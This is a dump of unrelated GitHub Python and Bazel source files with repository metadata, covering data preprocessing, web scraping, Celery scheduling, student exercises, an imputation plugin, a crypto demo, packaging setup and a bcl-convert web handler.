int(min(amounts['amount'] * preprocessing['samples'] if preprocessing['samples'] > 0 else 10 ** 20,\r\n amounts['up_to'] if amounts['up_to'] > 0 else 10 ** 20))\r\n\r\n write_thread = None\r\n vocab_thread1 = None\r\n vocab_thread2 = None\r\n\r\n with Pool(processes=preprocessing['cpu_count']) as pool:\r\n\r\n with open('{}/{}'.format(preprocessing['source_folder'], file_name), 'r', encoding='utf-8', buffering=131072) as in_file:\r\n\r\n for rows in tqdm(read_lines(in_file, 10000, '')):\r\n\r\n rows = pool.map_async(tokenize, rows, 100).get()\r\n\r\n if write_thread is not None:\r\n write_thread.join()\r\n vocab_thread1.join()\r\n vocab_thread2.join()\r\n","repo_name":"Abhishek-code-heaven/Valley_Chat_NLP_NMT_Chatbot","sub_path":"Backend/setup/prepare_data.py","file_name":"prepare_data.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1028983321","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef weather_command():\n res = requests.get('https://tenki.jp/forecast/2/10/3610/7205/')\n html_doc = res.text\n soup = BeautifulSoup(html_doc, 'html.parser')\n telop = soup.find('p', class_ = 'weather-telop').get_text()\n temp = soup.find_all('span', class_='value')\n contens = []\n for i in temp:\n contens.append(i.text)\n high_temp = soup.find('dd', class_ = 'high-temp tempdiff').get_text()\n low_temp = soup.find('dd', class_ = 'low-temp tempdiff').get_text()\n response = f'白河市の天気は「{telop}」、最高は{contens[0]}℃{high_temp}、\\\n 最低は{contens[1]}℃{low_temp}です。'\n return response","repo_name":"haiku-m/my-first-blog","sub_path":"bot/modules/pybot_weather.py","file_name":"pybot_weather.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"33197671058","text":"from datetime import timedelta\n\nfrom celery import Celery\n# set the default Django settings module for the 'celery' program.\nfrom celery.schedules import crontab\nfrom kombu import Queue\n\napp = Celery(\"pomodorr\")\n\n# Using a string here means the worker doesn't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n# should have a `CELERY_` prefix.\napp.config_from_object(\"django.conf:settings\", namespace=\"CELERY\")\n\n# Load task modules from all registered Django app configs.\napp.autodiscover_tasks()\n\napp.conf.broker_transport_options = {\n 'queue_order_strategy': 'priority'\n}\n\napp.conf.task_queues = (\n Queue('users_tasks', routing_key='pomodorr.users.#', queue_arguments={'x-max-priority': 0}),\n Queue('frames_tasks', routing_key='pomodorr.frames.#', queue_arguments={'x-max-priority': 10})\n)\n\napp.conf.beat_schedule = {\n 'clean-unfinished-date-frames-every-midnight': {\n 'task': 'pomodorr.frames.clean_obsolete_date_frames',\n 'schedule': crontab(\n hour=0,\n minute=0\n ),\n 'options': {\n 'queue': 'frames_tasks'\n }\n },\n 'unblock-ready-to-unblock-users-every-30-seconds': {\n 'task': 'pomodorr.users.unblock_users',\n 'schedule': timedelta(seconds=30),\n 'options': {\n 'queue': 'users_tasks'\n }\n }\n}\n","repo_name":"kamil559/Pomodorr_backend_v1","sub_path":"config/celery_app.py","file_name":"celery_app.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"10200756151","text":"#!/usr/bin/env python\n\nimport pandas as pd\n\ndef get_dfs():\n df_brazil= pd.read_csv(\"sudeste.csv\",skipinitialspace=True,usecols=[\"temp\",\"date\"])\n df_madrid = pd.read_csv(\"weather_madrid_LEMD_1997_2015.csv\",skipinitialspace=True,usecols=[\"Mean TemperatureC\",\"CET\"])\n return df_brazil,df_madrid\n\ndf_brazil,df_madrid = get_dfs()\n\ndef transform(brazil,madrid):\n madrid.rename(columns={\"CET\":\"date\",\"Mean TemperatureC\":\"temp-madrid\"},inplace=True)\n brazil = brazil.groupby(\"date\",as_index=False).mean()\n final = madrid.merge(df_brazil,how='inner',on=[\"date\"])\n final.rename(columns = {\"temp\":\"temp-brazil\"})\n return final\n\ndf_final = transform(df_brazil,df_madrid)\nprint(\"Correlation\")\nprint(df_final.corr(method='pearson'))\n\n# Interpretation of results #\n# Correlation coefficient = -0.00207 indicates a weak negative\n# linear relationship, which means when Madrid's daily tempature changes,\n# Brazil's daily tempature tends to change in slighlty oppsite direction.\n# Yet, we can easily interpret that when Madrid's tempature increases,\n# there is no tendency for the Brazil's tempature to change in a specific\n# direction since correlation coefficient is almost zero.\n# Doğaç Çakır, 2148781\n\n\n","repo_name":"dogac-c/BA4318-Homeworks","sub_path":"ba4318-test1-part2-2148781.py","file_name":"ba4318-test1-part2-2148781.py","file_ext":"py","file_size_in_byte":1217,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"24857102843","text":"#Write a function dec_to_bin() that takes decimal integer and outputs its binary representation.\n\ndef dec_to_bin(n):\n try:\n print (bin(n))\n except:\n print(\"Look like you put incorrect value, please try again with other.\")\n exit()\n\ndec_to_bin(\"34\")","repo_name":"helltepakcer/sspytasks","sub_path":"pytask11.py","file_name":"pytask11.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"21833553697","text":"#!/usr/bin/env python\n\nimport requests\nprint(requests.__version__)\n\nr = requests.get(\"http://www.google.com\")\n#print(r.status_code)\n#print(r.text)\n#print(dir(r))\n\na = requests.get(\"https://raw.githubusercontent.com/chaitali/cmput404/master/lab1.py\")\nprint(a.text)\n\n","repo_name":"chaitali/cmput404","sub_path":"lab1.py","file_name":"lab1.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71354862304","text":"from collections import deque\nimport copy\n\nn = int(input())\n\n# time: 해당 과목의 강의 시간\ntime = [0] * (n + 1)\nin_degree = [0] * (n + 1)\n\n# graph: 해당 과목의 선수 과목\ngraph = [[] for _ in range(n + 1)]\nfor i in range(1, n + 1):\n data = list(map(int, input().split()))\n time[i] = data[0]\n for j in data[1:-1]:\n in_degree[i] += 1\n graph[j].append(i)\n\n# 해당 과목을 듣기까지 소요되는 시간\nresult = copy.deepcopy(time)\n\n# 진입 차수가 0인 노드 큐에 넣기\nq = deque()\nfor i in range(1, n + 1):\n if in_degree[i] == 0:\n q.append(i)\n\nwhile q:\n now = q.popleft()\n\n # subject: 해당 과목의 후수 과목들\n for subject in graph[now]:\n result[subject] = max(result[subject], result[now] + time[subject])\n in_degree[subject] -= 1\n\n if in_degree[subject] == 0:\n q.append(subject)\n\n# 결과 출력\nfor i in range(1, n + 1):\n print(result[i])\n\n\n","repo_name":"dddiri/Algorithm","sub_path":"[Python] 이것이 코딩테스트다 with 파이썬/chap10/커리큘럼.py","file_name":"커리큘럼.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"42775058291","text":"load(\n \"//tools:erlang_toolchain.bzl\",\n \"erlang_dirs\",\n \"maybe_install_erlang\",\n)\n\ndef _impl(ctx):\n out = ctx.actions.declare_file(ctx.attr.out if ctx.attr.out != \"\" else ctx.label.name)\n\n if ctx.attr.src != None and ctx.attr.beam != None:\n fail(\"both src and beam attributes cannot be specified simultaneously\")\n elif ctx.attr.src != None:\n body = \"{{source,\\\"{}\\\"}}\".format(ctx.file.src.path)\n else:\n body = \"{{beam,\\\"{}\\\"}}\".format(ctx.file.beam.path)\n\n args = ctx.actions.args()\n args.add(\"\"\"EscriptPath = \"{out}\",\nio:format(\"Assembiling ~s escript...~n\", [EscriptPath]),\nok = escript:create(EscriptPath,\n [shebang, comment,\n {body}]),\nio:format(\"done.~n\", []),\nhalt().\n\"\"\".format(\n out = out.path,\n body = body,\n ))\n\n (erlang_home, erlang_release_dir, runfiles) = erlang_dirs(ctx)\n\n inputs = depset(\n direct = ctx.files.src + ctx.files.beam,\n transitive = [runfiles.files],\n )\n\n ctx.actions.run_shell(\n inputs = inputs,\n outputs = [out],\n command = \"\"\"set -euo pipefail\n\n{maybe_install_erlang}\n\n\"{erlang_home}\"/bin/erl -noshell -eval \"$@\"\n\"\"\".format(\n maybe_install_erlang = maybe_install_erlang(ctx),\n erlang_home = erlang_home,\n ),\n arguments = [args],\n )\n\n return [\n DefaultInfo(\n executable = out,\n ),\n ]\n\nescript_flat = rule(\n implementation = _impl,\n attrs = {\n \"src\": attr.label(\n allow_single_file = [\".erl\"],\n ),\n \"beam\": attr.label(\n allow_single_file = [\".beam\"],\n ),\n \"out\": attr.string(),\n },\n toolchains = [\"//tools:toolchain_type\"],\n)\n","repo_name":"rabbitmq/rules_erlang","sub_path":"private/escript_flat.bzl","file_name":"escript_flat.bzl","file_ext":"bzl","file_size_in_byte":1744,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"7"} +{"seq_id":"40410669393","text":"# stdlib\nfrom typing import Any, List\n\n# third party\nfrom miracle import MIRACLE\nimport numpy as np\nimport pandas as pd\n\n# hyperimpute absolute\nimport hyperimpute.plugins.core.params as params\nimport hyperimpute.plugins.imputers.base as base\nfrom hyperimpute.plugins.imputers.plugin_mean import MeanPlugin\nfrom hyperimpute.plugins.imputers.plugin_median import MedianPlugin\n\n\nclass MiraclePlugin(base.ImputerPlugin):\n \"\"\"MIRACLE (Missing data Imputation Refinement And Causal LEarning)\n MIRACLE iteratively refines the imputation of a baseline by simultaneously modeling the missingness generating mechanism and encouraging imputation to be consistent with the causal structure of the data.\n\n\n Example:\n >>> import numpy as np\n >>> from hyperimpute.plugins.imputers import Imputers\n >>> plugin = Imputers().get(\"miracle\")\n >>> plugin.fit_transform([[1, 1, 1, 1], [np.nan, np.nan, np.nan, np.nan], [1, 2, 2, 1], [2, 2, 2, 2]])\n\n Reference: \"MIRACLE: Causally-Aware Imputation via Learning Missing Data Mechanisms\", Trent Kyono, Yao Zhang, Alexis Bellot, Mihaela van der Schaar\n \"\"\"\n\n def __init__(\n self,\n lr: float = 0.001,\n batch_size: int = 1024,\n num_outputs: int = 1,\n n_hidden: int = 32,\n reg_lambda: float = 1,\n reg_beta: float = 1,\n DAG_only: bool = False,\n reg_m: float = 1.0,\n window: int = 10,\n max_steps: int = 400,\n seed_imputation: str = \"mean\",\n random_state: int = 0,\n ) -> None:\n super().__init__(random_state=random_state)\n\n if seed_imputation not in [\n \"mean\",\n \"median\",\n ]:\n raise RuntimeError(\n f\"invalid seed imputation for MIRACLE: {seed_imputation}\"\n )\n\n self.lr = lr\n self.batch_size = batch_size\n self.num_outputs = num_outputs\n self.n_hidden = n_hidden\n self.reg_lambda = reg_lambda\n self.reg_beta = reg_beta\n self.DAG_only = DAG_only\n self.reg_m = reg_m\n self.window = window\n self.max_steps = max_steps\n self.seed_imputation = seed_imputation\n self.random_state = random_state\n\n @staticmethod\n def name() -> str:\n return \"miracle\"\n\n @staticmethod\n def hyperparameter_space(*args: Any, **kwargs: Any) -> List[params.Params]:\n return [\n params.Integer(\"window\", 2, 12),\n params.Integer(\"n_hidden\", 32, 100),\n params.Integer(\"batch_size\", 32, 100),\n params.Integer(\"max_steps\", 100, 500),\n params.Categorical(\"lr\", [0.001, 0.0001, 0.00001]),\n params.Categorical(\"reg_lambda\", [1, 0.1, 10]),\n params.Categorical(\"reg_beta\", [1, 3]),\n params.Categorical(\n \"seed_imputation\",\n [\"mean\", \"median\"],\n ),\n ]\n\n def _get_seed_imputer(self, method: str) -> base.ImputerPlugin:\n if method == \"median\":\n return MedianPlugin()\n else:\n return MeanPlugin()\n\n def _fit(self, X: pd.DataFrame, *args: Any, **kwargs: Any) -> \"MiraclePlugin\":\n return self\n\n def _transform(self, X: pd.DataFrame) -> pd.DataFrame:\n missing_idxs = np.where(np.any(np.isnan(X.values), axis=0))[0]\n\n _model = MIRACLE(\n num_inputs=X.shape[1],\n lr=self.lr,\n batch_size=self.batch_size,\n num_outputs=self.num_outputs,\n n_hidden=self.n_hidden,\n reg_lambda=self.reg_lambda,\n reg_beta=self.reg_beta,\n DAG_only=self.DAG_only,\n reg_m=self.reg_m,\n window=self.window,\n max_steps=self.max_steps,\n missing_list=missing_idxs,\n random_seed=self.random_state,\n )\n\n seed_imputer = self._get_seed_imputer(self.seed_imputation)\n X_seed = seed_imputer.fit_transform(X)\n\n return _model.fit(X.values, X_seed=X_seed.values)\n\n def save(self) -> bytes:\n return b\"\"\n\n @classmethod\n def load(cls, buff: bytes) -> \"MiraclePlugin\":\n return MiraclePlugin()\n\n\nplugin = MiraclePlugin\n","repo_name":"vanderschaarlab/hyperimpute","sub_path":"src/hyperimpute/plugins/imputers/plugin_miracle.py","file_name":"plugin_miracle.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"7"} +{"seq_id":"8458507766","text":"import AES_encryption\nimport RSA_encryption\nimport SHA2_encryption\nimport random\n\n\n# alice send message to bob\n# acice encrypt message using AES with the private key\n# bob have a public key and private key\n# alice encrypt private key using RSA with bob's public key\n# bob decrypt private key using RSA with his private key\n# bob decrypt message using AES with the private key\n# alice encrypt message using SHA2 with the private key\n# alice encrypt SHA2 with RSA with bob's public key\n# bob decrypt SHA2 with RSA with his private key\n# bob decrypt SHA2 with the private key\n# bob compare SHA2 with SHA2 decrypted\n# if SHA2 == SHA2 decrypted, SHA2-RSA is correct\n# else SHA2-RSA is incorrect\n\n\ndef main():\n data = \"RSA is a public-key cryptography algorithm that is widely used for secure data transmission.\"\n alice_AES_cyphertext, alice_AES_key = AES_encryption.encode(data)\n print(\"alice_AES_cyphertext=\", alice_AES_cyphertext)\n\n print(\"alice_AES_key=\", alice_AES_key)\n enter_key_size = input(\"Enter key size:\")\n key_size = int(enter_key_size)\n bob_privateKey, bob_n, bob_publicKey = RSA_encryption.create_key(\n key_size)\n print(\"bob_privateKey=\", bob_privateKey)\n print(\"bob_n=\", bob_n)\n print(\"bob_publicKey=\", bob_publicKey)\n\n alice_AES_key_encrypted = RSA_encryption.encode(\n str(alice_AES_key), bob_publicKey, bob_n)\n print(\"alice_AES_key_encrypted=\", alice_AES_key_encrypted)\n\n bob_AES_key = RSA_encryption.decode(\n alice_AES_key_encrypted, bob_n, bob_publicKey)\n print(\"bob_AES_key=\", bob_AES_key)\n bob_AES_key_recovered = int(bob_AES_key)\n message = AES_encryption.decode(\n alice_AES_cyphertext, bob_AES_key_recovered)\n\n print(\"message=\", message)\n\n alice_SHA2_cyphertext = SHA2_encryption.encode(data, key_size)\n print(\"alice_SHA2_cyphertext=\", alice_SHA2_cyphertext)\n alice_SHA2_cyphertext_encrypted = RSA_encryption.encode(\n alice_SHA2_cyphertext, bob_publicKey, bob_n)\n\n bob_SHA2_cyphertext_recovered = RSA_encryption.decode(\n alice_SHA2_cyphertext_encrypted, bob_n, bob_publicKey)\n Bob_SHA2_cyphertext = SHA2_encryption.encode(message, key_size)\n print(\"Bob_SHA2_cyphertext=\", Bob_SHA2_cyphertext)\n if bob_SHA2_cyphertext_recovered == Bob_SHA2_cyphertext:\n print(\"SHA2-RSA is correct\")\n else:\n print(\"SHA2-RSA is incorrect\")\n\n\nmain()\n","repo_name":"Huy-8bit/PROJECT-FINAL-Encryption-Cipher","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"71040122463","text":"import pathlib\nimport sys\nfrom codecs import open\nfrom os import listdir, path, walk, makedirs\n\nfrom setuptools import find_packages, Command\nfrom setuptools.command.test import test\n\nimport golem\nfrom golem.core.common import get_golem_path, is_windows, is_osx, is_linux\nfrom golem.tools.version import get_version as tools_get_version\n\n\nclass PyTest(test):\n \"\"\"\n py.test integration with setuptools,\n https://pytest.org/latest/goodpractises.html\\\n #integration-with-setuptools-test-commands\n \"\"\"\n\n user_options = [('pytest-args=', 'a', \"Arguments to pass to py.test\")]\n\n def initialize_options(self):\n test.initialize_options(self)\n self.pytest_args = []\n\n def finalize_options(self):\n test.finalize_options(self)\n self.test_args = []\n self.test_suite = True\n\n def run_tests(self):\n # import here, cause outside the eggs aren't loaded\n import pytest\n import sys\n errno = pytest.main(self.pytest_args)\n sys.exit(errno)\n\n\nclass DatabaseMigration(Command):\n description = \"create database schema migration scripts\"\n user_options = [\n ('force', 'f', 're-create last schema migration script')\n ]\n\n def __init__(self, dist, **kw):\n super().__init__(dist, **kw)\n self.force = False\n\n def initialize_options(self):\n pass\n\n def finalize_options(self):\n pass\n\n def run(self):\n from golem.database.migration.create import create_migration\n\n try:\n migration_script_path = create_migration(force=self.force)\n except Exception: # pylint: disable=broad-except\n print(\"FATAL: cannot create a database migration script\")\n raise\n\n if migration_script_path:\n print(\"Database migration script has been created at {}.\\n\"\n \"Please check and edit the file before committing.\"\n .format(migration_script_path))\n\n\nclass PyInstaller(Command):\n description = \"run pyinstaller and packaging actions\"\n user_options = [\n ('package-path=', None, 'save generated gzipped tarball at this path'),\n ]\n\n def initialize_options(self):\n self.package_path = None\n\n def finalize_options(self):\n pass\n\n def run(self):\n import subprocess\n import shutil\n\n build_dir = path.join('build')\n dist_dir = path.join('dist')\n\n for directory in [build_dir, dist_dir]:\n if path.exists(directory):\n shutil.rmtree(directory)\n\n for spec in ['golemapp.spec', ]:\n self.banner(\"Building {}\".format(spec))\n subprocess.check_call([\n sys.executable, '-m', 'PyInstaller', '--clean',\n '--win-private-assemblies', spec\n ])\n\n print(\"> Copying examples\")\n self.copy_examples(dist_dir)\n\n print(\"> Compressing distribution\")\n archive_dir = self.move(dist_dir)\n archive_file = self.compress(archive_dir, dist_dir)\n print(\"> Archive saved: '{}'\".format(archive_file))\n\n def banner(self, msg):\n print(\"\\n> --------------------------------\")\n print(\"> {}\".format(msg))\n print(\"> --------------------------------\\n\")\n\n def copy_examples(self, dist_dir):\n import shutil\n\n examples_dir = path.join(dist_dir, 'examples')\n blender_dir = path.join(examples_dir, 'blender')\n\n blender_src_dir = path.join('apps', 'blender', 'benchmark', 'test_task')\n\n blender_cpu_example = path.join(blender_src_dir, 'bmw27_cpu.blend')\n blender_gpu_example = path.join(blender_src_dir, 'bmw27_gpu.blend')\n\n if not path.exists(blender_dir):\n makedirs(blender_dir)\n\n shutil.copy(blender_cpu_example, blender_dir)\n shutil.copy(blender_gpu_example, blender_dir)\n\n\n def move(self, dist_dir):\n import shutil\n\n version = get_version()\n ver_dir = path.join(dist_dir, 'golem-{}'.format(version))\n\n if not path.exists(ver_dir):\n makedirs(ver_dir)\n\n shutil.move(path.join(dist_dir, 'examples'), ver_dir)\n\n if is_windows():\n shutil.move(path.join(dist_dir, 'golemapp.exe'), ver_dir)\n else:\n shutil.move(path.join(dist_dir, 'golemapp'), ver_dir)\n\n return ver_dir\n\n def compress(self, src_dir, dist_dir):\n archive_file = self.get_archive_path(dist_dir)\n if not is_windows():\n import tarfile\n\n with tarfile.open(archive_file, \"w:gz\") as tar:\n tar.add(src_dir, arcname=path.basename(src_dir))\n else:\n import zipfile\n zf = zipfile.ZipFile(archive_file, \"w\")\n for dirname, _, files in walk(src_dir):\n zf.write(dirname)\n for filename in files:\n zf.write(path.join(dirname, filename))\n zf.close()\n return archive_file\n\n def get_archive_path(self, dist_dir):\n if self.package_path:\n return self.package_path\n\n extension = 'tar.gz'\n if is_osx():\n sys_name = 'macos'\n elif is_linux():\n sys_name = 'linux_x64'\n elif is_windows():\n sys_name = 'win32'\n extension = 'zip'\n else:\n raise EnvironmentError(\"Unsupported OS: {}\".format(sys.platform))\n\n version = get_version()\n return path.join(dist_dir,\n 'golem-{}-{}.{}'.format(sys_name, version, extension))\n\n\ndef get_long_description(my_path):\n \"\"\"\n Read readme file\n :return: Content of the README file\n \"\"\"\n with open(path.join(my_path, 'README.md'), encoding='utf-8') as f:\n read = f.read()\n return read\n\n\ndef find_required_packages():\n if sys.platform.startswith('darwin'):\n return find_packages(exclude=['examples', 'tests'])\n return find_packages(include=['golem*', 'apps*'])\n\n\ndef parse_requirements(my_path):\n \"\"\"\n Parse requirements.txt file\n :return: [requirements, dependencies]\n \"\"\"\n import re\n requirements = []\n dependency_links = []\n for line in open(path.join(my_path, 'requirements_to-freeze.txt')):\n line = line.strip()\n if line.startswith('-') or line.startswith('#'):\n continue\n\n m = re.match('.+#egg=(?P.+?)(?:&.+)?$', line)\n if m:\n requirements.append(m.group('package'))\n dependency_links.append(line)\n else:\n requirements.append(line)\n return requirements, dependency_links\n\n\ndef print_errors(*errors):\n for error in errors:\n if error:\n print(error)\n\n\ndef move_wheel():\n from shutil import move\n path_ = path.join(get_golem_path(), 'dist')\n files_ = [f for f in listdir(path_) if path.isfile(path.join(path_, f))]\n files_.sort()\n source = path.join(path_, files_[-1])\n dst = path.join(path_, file_name())\n move(source, dst)\n\n\ndef get_version():\n cwd = pathlib.Path(golem.__file__).parent\n v = tools_get_version(prefix='', cwd=str(cwd))\n sys.stderr.write('Dynamically determined version: {}\\n'.format(v))\n return v\n\n\ndef file_name():\n \"\"\"\n Get wheel name\n :return: Name for wheel\n \"\"\"\n from git import Repo\n repo = Repo(get_golem_path())\n tag = repo.tags[-2] # get latest tag\n tag_id = tag.commit.hexsha # get commit id from tag\n commit_id = repo.head.commit.hexsha # get last commit id\n if sys.platform.startswith('linux'):\n from platform import architecture\n if architecture()[0].startswith('64'):\n plat = \"linux_x86_64\"\n else:\n plat = \"linux_i386\"\n elif sys.platform.startswith('win'):\n plat = \"win32\"\n elif sys.platform.startswith('darwin'):\n plat = \"macosx_10_12_x86_64\"\n else:\n raise SystemError(\"Incorrect platform: {}\".format(sys.platform))\n if commit_id != tag_id: # devel package\n return \"golem-{}-0x{}{}-cp35-none-{}.whl\".format(tag.name,\n commit_id[:4],\n commit_id[-4:],\n plat)\n else: # release package\n return \"golem-{}-cp35-none-{}.whl\".format(tag.name, plat)\n\n\ndef get_files():\n golem_path = get_golem_path()\n extensions = ['py', 'pyc', 'pyd', 'ini', 'template', 'dll', 'png', 'txt']\n excluded = ['golem.egg-info', 'build', 'tests', 'Installer', '.git']\n beginnig = \"../../golem/\"\n result = []\n for root, dirs, files in walk('.', topdown=False):\n if root != '.' and root.split(path.sep)[1] in excluded:\n continue\n srcs = []\n if root == '.':\n dst = path.normpath(\n path.join(\"../..\", root.replace(golem_path, '')))\n else:\n dst = path.normpath(\n path.join(beginnig, root.replace(golem_path, '')))\n for name in files:\n f_ = \"{}/{}\".format(root, name)\n if f_.split('.')[-1] in extensions:\n srcs.append(path.normpath(f_.replace(golem_path, '')))\n if len(srcs) > 0:\n result.append((dst, srcs))\n return result\n","repo_name":"golemfactory/clay","sub_path":"setup_util/setup_commons.py","file_name":"setup_commons.py","file_ext":"py","file_size_in_byte":9219,"program_lang":"python","lang":"en","doc_type":"code","stars":2915,"dataset":"github-code","pt":"7"} +{"seq_id":"36711537358","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('hermes', '0008_auto_20150228_0114'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='board',\n name='description',\n field=models.CharField(max_length=1000, default='Board'),\n preserve_default=True,\n ),\n ]\n","repo_name":"mjdarby/Hermes","sub_path":"migrations/0009_board_description.py","file_name":"0009_board_description.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"39506872530","text":"def primeFact(n):\n r, i = {}, 2\n while i*i <= n:\n while n % i == 0:\n if r.get(i) is None:\n r[i] = 0\n r[i] += 1\n n //= i\n i += 1\n if n != 1:\n r[n] = 1\n return r\n\nN, K = map(int, input().split())\npf, c = primeFact(N), 1\n\nR = []\nfor t in [[k] * v for k, v in pf.items()]:\n R.extend(t)\n\nwhile len(R)-c+1 > K:\n R[-c-1] *= R[-c]\n c += 1\nif c > 1:\n R = R[:-c+1]\n\nif len(R) < K:\n print(-1)\nelse:\n print(' '.join(list(map(str, R))))\n","repo_name":"n-yU/AtCoder","sub_path":"iroha/2019/day1/F.py","file_name":"F.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"19653959673","text":"from typing import List\n\n\nclass Solution:\n def maxScore(self, nums: List[int]) -> int:\n nums.sort(reverse=True)\n n = len(nums)\n prefix = 0\n res = 0\n for i in range(n):\n if prefix + nums[i] <= 0:\n return res\n prefix += nums[i]\n res += 1\n return res","repo_name":"KimJoonSeo/coding_practice","sub_path":"leetcode/_greedy/2587.py","file_name":"2587.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"39223074743","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\nn = 0.5\n\npoint = [\n [.3, .7, 1],\n [-.6, .3, 0],\n [.1, -.8, 0],\n [.6, -.45, 1]\n]\n\nw = [.8, -.5]\n\n\ndef o(x, y):\n return x*w[0] + y*w[1]\n\n\ndef l(u):\n if u >= 0:\n return 1\n else:\n return 0\n\n\ndef training():\n h = 0\n print(\"w¹ = {:.3f} w² = {:.3f}\".format(w[0], w[1]))\n while True:\n er = 0\n for i in range(len(point)):\n x = point[i][0]\n y = point[i][1]\n c = point[i][2]\n\n e = c - l(o(x, y))\n\n w[0] = w[0] + n * e * x\n w[1] = w[1] + n * e * y\n if e != 0:\n print(\"w¹ = {:.3f} w² = {:.3f}\".format(w[0], w[1]))\n er = 1\n\n h = h + 1\n if h == 1000000 or er == 0:\n break\n\n\ndef print_graph():\n for i in range(len(point)):\n if point[i][2] == 1:\n plt.plot(point[i][0], point[i][1], 'b.')\n else:\n plt.plot(point[i][0], point[i][1], 'r.')\n a = (w[0]/w[1])\n\n print(\"g(x) = {:.2f}x\".format( a))\n\n x1 = np.arange(-0.5, 0.5,0.2)\n y1 = a * x1\n\n plt.plot(x1, y1, 'g')\n\n plt.axis([-0.9, 0.9, -0.9, 0.9])\n plt.grid()\n\n plt.show()\n\n# - 0,88 = -.3m # m = -0,88/0,3\n\n\ntraining()\nprint_graph()\n","repo_name":"Rafaeldsb/Studies","sub_path":"Machine_learning.py","file_name":"Machine_learning.py","file_ext":"py","file_size_in_byte":1299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"37425129796","text":"# This file has been modified from the https://github.com/arteria-project/arteria-bcl2fastq repo\n# bcl2fastq/handlers/bcl2fastq_handlers.py\nimport json\nimport logging\nimport os\n\nfrom bclconvert.lib.jobrunner import LocalQAdapter\nfrom bclconvert.lib.bclconvert_utils import BclConvertRunnerFactory, BclConvertConfig\nfrom bclconvert import __version__ as version\nfrom bclconvert.lib.bclconvert_logs import BclConvertLogFileProvider\nfrom arteria.exceptions import ArteriaUsageException\nfrom arteria.web.state import State\nfrom arteria.web.handlers import BaseRestHandler\n\nlog = logging.getLogger(__name__)\n\n\nclass BclConvertServiceMixin:\n \"\"\"\n Provides bclconvert related services that can be mixed in.\n It will create adaptors to the runner service the first time a\n request is made and then keep that adaptor. These adaptors are static,\n so that only one such adaptor is created for the entire application.\n \"\"\"\n _runner_service = None\n\n @staticmethod\n def runner_service():\n \"\"\"\n Create an adaptor to the runner service unless one already exists\n \"\"\"\n if BclConvertServiceMixin._runner_service:\n return BclConvertServiceMixin._runner_service\n else:\n import multiprocessing\n nbr_of_cores = multiprocessing.cpu_count()\n # TODO Make configurable\n BclConvertServiceMixin._runner_service = LocalQAdapter(nbr_of_cores=nbr_of_cores, interval=2)\n return BclConvertServiceMixin._runner_service\n\n _bclconvert_cmd_generation_service = None\n\n @staticmethod\n def bclconvert_cmd_generation_service(config):\n \"\"\"\n Create a command generation service unless one already exists.\n \"\"\"\n if BclConvertServiceMixin._bclconvert_cmd_generation_service:\n return BclConvertServiceMixin._bclconvert_cmd_generation_service\n else:\n BclConvertServiceMixin._bclconvert_cmd_generation_service = BclConvertRunnerFactory(config)\n return BclConvertServiceMixin._bclconvert_cmd_generation_service\n\n\nclass BaseBclConvertHandler(BaseRestHandler):\n \"\"\"\n Base handler for bclconvert.\n \"\"\"\n def initialize(self, config):\n \"\"\"\n Ensures that any parameters feed to this are available\n to subclasses.\n \"\"\"\n self.config = config\n self.bclconvert_log_file_provider = BclConvertLogFileProvider(self.config)\n\n\nclass VersionsHandler(BaseBclConvertHandler):\n \"\"\"\n Get the available bclconvert versions that the\n service knows about.\n \"\"\"\n\n def get(self):\n \"\"\"\n Returns all available bclconvert versions (as defined by config).\n \"\"\"\n available_versions = self.config[\"bclconvert\"][\"versions\"]\n self.write_object(available_versions)\n\n\nclass StartHandler(BaseBclConvertHandler, BclConvertServiceMixin):\n \"\"\"\n Start bclconvert\n \"\"\"\n\n def create_config_from_request(self, runfolder, request_body):\n \"\"\"\n For the specified runfolder, will look it up from the place setup in the\n configuration, and then parse additional data from the request_data object.\n This can be used to override any default setting in the resulting bclconvertConfig\n instance.\n :param runfolder: name of the runfolder we want to create a config for\n :param request_body: the body of the request. Can be empty, in which case if will not be loaded.\n :return: an instances of bclconvertConfig\n \"\"\"\n\n if request_body:\n request_data = json.loads(request_body)\n else:\n request_data = {}\n\n # TODO Make sure to escape them for sec. reasons.\n bclconvert_version = \"\"\n runfolder_input = \"\"\n samplesheet = \"\"\n output = \"\"\n barcode_mismatches = \"\"\n tiles = \"\"\n exclude_tiles = \"\"\n use_base_mask = \"\"\n bcl_only_lane = None\n create_indexes = False\n 